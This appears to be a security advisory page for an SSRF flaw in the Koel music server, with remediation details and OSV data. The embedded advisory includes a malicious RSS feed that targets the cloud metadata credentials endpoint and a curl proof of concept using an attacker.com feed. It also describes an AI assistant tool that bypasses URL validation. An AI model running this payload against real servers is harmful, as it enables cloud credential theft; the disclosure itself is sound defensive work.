CVE-2026-47260: Phanan/koel Koel Vulnerable To SSRF Vulnerability

HIGH
Advisory Identifier: GHSA-7j2f-6h2r-6cqc
CVSS 7.7
CWE-918
Published
Advisory Summary

CVE-2026-47260 is a HIGH (CVSS 7.7) koel vulnerable to ssrf vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Phanan/koel libraries in the Packagist ecosystem. The issue involves koel vulnerable to ssrf via podcast episode enclosure urls. Remediation is available by upgrading affected packages to version 9.3.5.

CVE-2026-47260 at a Glance

CVE Identifier CVE-2026-47260
GHSA Identifier GHSA-7j2f-6h2r-6cqc
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Phanan/koel
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-47260

To remediate this vulnerability, upgrade all affected Phanan/koel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

phanan/koel fixed: 9.3.5
Upgrade phanan/koel to 9.3.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for phanan/koel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47260, inspect your project dependencies for Phanan/koel:

inspect dependencies for phanan/koel

Analyze the terminal output to locate any version of Phanan/koel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.3.5), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Phanan/koel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Koel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `<enclosure url="...">` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()->get()` and streams it back to the user, enabling full-read SSRF against internal services. --- ## Vulnerability Details ### Episode URL Stored Without Validation **File:** `app/Services/Podcast/PodcastService.php`, line 146 ```php 'path' => $episodeValue->enclosure->url, // Unvalidated URL from RSS XML ``` The `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is. ### SSRF Trigger: Full Content Download **File:** `app/Values/Podcast/EpisodePlayable.php`, line 42 ```php Http::sink($file)->get($episode->path)->throw(); ``` When an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user. ### SafeUrl Applied Only to Feed URL **File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php` ```php public function rules(): array { return ['url' => ['required', 'url:http,https', new SafeUrl]]; } ``` The `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed. --- ## Attack Flow 1. Attacker registers an account (Community edition, no Plus required) 2. Attacker hosts a malicious RSS feed on a public server: ```xml <rss version="2.0"> <channel> <title>Legit Podcast</title> <item> <title>Episode 1</title> <enclosure url="http://169.254.169.254/latest/meta-data/iam/security-credentials/" type="audio/mpeg" length="1000"/> <guid>ssrf-1</guid> </item> </channel> </rss> ``` 3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` — passes `SafeUrl` (public URL) 4. Koel parses feed, stores episode with `path = http://169.254.169.254/...` 5. Attacker plays episode: `GET /play/{episode_id}` 6. Server executes `Http::sink($file)->get("http://169.254.169.254/...")` 7. AWS metadata response downloaded to disk, streamed back to attacker --- ## Proof of Concept ```bash #!/bin/bash # PoC: Koel SSRF via Podcast Episode Enclosure URL # Step 1: Host malicious RSS feed (feed.xml) on attacker server # Step 2: Subscribe to the podcast KOEL_URL="https://TARGET" API_TOKEN="<api_token>" # Subscribe to malicious podcast curl -X POST "$KOEL_URL/api/podcasts" \ -H "Authorization: Bearer $API_TOKEN" \ -H "Content-Type: application/json" \ -d '{"url": "https://attacker.com/feed.xml"}' # List episodes to get the episode ID EPISODE_ID=$(curl -s "$KOEL_URL/api/podcasts" \ -H "Authorization: Bearer $API_TOKEN" | jq -r '.[0].episodes[0].id') # Play the episode — triggers SSRF, returns internal service response curl "$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN" -o response.bin cat response.bin # Expected: AWS metadata / internal service response ``` --- ## Impact - **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens) - **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services - **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces - **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker --- ## Secondary Finding: SSRF Bypass via AI Radio Station Tool **File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38 The AI assistant's `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint. **Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH. --- ## Novelty Check - **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web) - **No SECURITY.md** in the repository - **This is a novel vulnerability** --- ## Remediation **Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`: ```php foreach ($episodeCollection as $episodeValue) { $enclosureUrl = $episodeValue->enclosure->url; $host = parse_url($enclosureUrl, PHP_URL_HOST); if (!$host || !Network::isPublicHost($host)) { continue; // Skip episodes with non-public URLs } // ... rest of episode creation } ``` **Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`. **Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.

CVE-2026-47260 Affected Phanan/koel Versions

1 component(s)
Fixed Versions:
9.3.5
Product / Package Ecosystem Affected Versions Fixed Version
phanan/koel
Packagist
< 9.3.5
9.3.5

References

Frequently Asked Questions

What is CVE-2026-47260?
CVE-2026-47260 is a security vulnerability in Phanan/koel involving Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs under CWE-918: Server-Side Request Forgery (SSRF).
Which Phanan/koel versions are affected?
Affected versions include releases prior to 9.3.5 across affected packages: phanan/koel.
What version fixes CVE-2026-47260?
Upgrading to 9.3.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is phanan/koel affected?
Yes, phanan/koel is affected in releases prior to 9.3.5. Upgrade your dependency to 9.3.5 or later.
What is the CVSS score of CVE-2026-47260?
CVE-2026-47260 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.
What CWE is associated with CVE-2026-47260?
CVE-2026-47260 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check Packagist dependencies for CVE-2026-47260?
Run the dependency tree command: 'inspect dependencies for phanan/koel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-7j2f-6h2r-6cqc",
  "modified" : "2026-06-12T22:01:12Z",
  "published" : "2026-05-29T19:56:06Z",
  "aliases" : [ "CVE-2026-47260" ],
  "summary" : "Koel Vulnerable to SSRF via Podcast Episode Enclosure URLs",
  "details" : "## Summary\n\nKoel validates the podcast feed URL via the `SafeUrl` rule (DNS resolution + public IP check), but the individual episode `<enclosure url=\"...\">` values extracted from the RSS XML are stored directly into the database without any SSRF validation. When a user plays an episode, the server downloads the full HTTP response from the unvalidated enclosure URL via `Http::sink()->get()` and streams it back to the user, enabling full-read SSRF against internal services.\n\n---\n\n## Vulnerability Details\n\n### Episode URL Stored Without Validation\n\n**File:** `app/Services/Podcast/PodcastService.php`, line 146\n\n```php\n'path' => $episodeValue->enclosure->url,  // Unvalidated URL from RSS XML\n```\n\nThe `SafeUrl` rule is applied to the podcast feed URL at subscription time (`SubscribeToPodcastRequest`), but episode enclosure URLs parsed from the feed XML are stored as-is.\n\n### SSRF Trigger: Full Content Download\n\n**File:** `app/Values/Podcast/EpisodePlayable.php`, line 42\n\n```php\nHttp::sink($file)->get($episode->path)->throw();\n```\n\nWhen an episode is played, `PodcastStreamerAdapter::stream()` first attempts `getStreamableUrl()` (OPTIONS/HEAD requests to the episode URL). If no CORS header is present (which internal services won't have), it falls through to `EpisodePlayable::createForEpisode()`, which downloads the full response body and streams it back to the user.\n\n### SafeUrl Applied Only to Feed URL\n\n**File:** `app/Http/Requests/API/Podcast/SubscribeToPodcastRequest.php`\n\n```php\npublic function rules(): array\n{\n    return ['url' => ['required', 'url:http,https', new SafeUrl]];\n}\n```\n\nThe `SafeUrl` rule (`app/Rules/SafeUrl.php`) validates scheme, DNS resolution to public IP, and effective URL after redirects. But this only protects the feed URL — not the content within the feed.\n\n---\n\n## Attack Flow\n\n1. Attacker registers an account (Community edition, no Plus required)\n2. Attacker hosts a malicious RSS feed on a public server:\n   ```xml\n   <rss version=\"2.0\">\n     <channel>\n       <title>Legit Podcast</title>\n       <item>\n         <title>Episode 1</title>\n         <enclosure url=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n                    type=\"audio/mpeg\" length=\"1000\"/>\n         <guid>ssrf-1</guid>\n       </item>\n     </channel>\n   </rss>\n   ```\n3. `POST /api/podcasts` with `url=https://evil.com/feed.xml` — passes `SafeUrl` (public URL)\n4. Koel parses feed, stores episode with `path = http://169.254.169.254/...`\n5. Attacker plays episode: `GET /play/{episode_id}`\n6. Server executes `Http::sink($file)->get(\"http://169.254.169.254/...\")`\n7. AWS metadata response downloaded to disk, streamed back to attacker\n\n---\n\n## Proof of Concept\n\n```bash\n#!/bin/bash\n# PoC: Koel SSRF via Podcast Episode Enclosure URL\n# Step 1: Host malicious RSS feed (feed.xml) on attacker server\n# Step 2: Subscribe to the podcast\n\nKOEL_URL=\"https://TARGET\"\nAPI_TOKEN=\"<api_token>\"\n\n# Subscribe to malicious podcast\ncurl -X POST \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"url\": \"https://attacker.com/feed.xml\"}'\n\n# List episodes to get the episode ID\nEPISODE_ID=$(curl -s \"$KOEL_URL/api/podcasts\" \\\n  -H \"Authorization: Bearer $API_TOKEN\" | jq -r '.[0].episodes[0].id')\n\n# Play the episode — triggers SSRF, returns internal service response\ncurl \"$KOEL_URL/play/$EPISODE_ID?api_token=$API_TOKEN\" -o response.bin\n\ncat response.bin\n# Expected: AWS metadata / internal service response\n```\n\n---\n\n## Impact\n\n- **Cloud credential theft:** Read AWS/GCP/Azure metadata endpoints (IAM credentials, tokens)\n- **Internal network reconnaissance:** Scan ports and enumerate internal HTTP services\n- **Data exfiltration:** Read responses from internal APIs, admin panels, databases with HTTP interfaces\n- **Full response body:** Unlike blind SSRF, the entire response is returned to the attacker\n\n---\n\n## Secondary Finding: SSRF Bypass via AI Radio Station Tool\n\n**File:** `app/Ai/Tools/AddRadioStation.php`, lines 35-38\n\nThe AI assistant's `AddRadioStation` tool creates radio stations by calling `RadioService::createRadioStation()` directly, bypassing the `SafeUrl` and `HasAudioContentType` validation rules that protect the REST API endpoint.\n\n**Impact:** Same SSRF but requires Plus license. CVSS 7.7 HIGH.\n\n---\n\n## Novelty Check\n\n- **No existing CVEs found for Koel** (searched NVD, GitHub Advisories, web)\n- **No SECURITY.md** in the repository\n- **This is a novel vulnerability**\n\n---\n\n## Remediation\n\n**Fix 1:** Validate episode enclosure URLs in `synchronizeEpisodes()`:\n\n```php\nforeach ($episodeCollection as $episodeValue) {\n    $enclosureUrl = $episodeValue->enclosure->url;\n    $host = parse_url($enclosureUrl, PHP_URL_HOST);\n    if (!$host || !Network::isPublicHost($host)) {\n        continue; // Skip episodes with non-public URLs\n    }\n    // ... rest of episode creation\n}\n```\n\n**Fix 2:** Defense-in-depth validation at playback time in `EpisodePlayable::createForEpisode()`.\n\n**Fix 3:** Add `SafeUrl` validation in `AddRadioStation` AI tool.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phanan/koel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 9.3.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/security/advisories/GHSA-7j2f-6h2r-6cqc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-47260"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/commit/8708f077efd7d8a332b32e954d65bc837f3a413a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/koel/koel/commit/be1e867982dcadefd4a75d768ce950b1d5234cdf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/koel/koel"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T19:56:06Z",
    "nvd_published_at" : "2026-06-12T20:16:46Z"
  }
}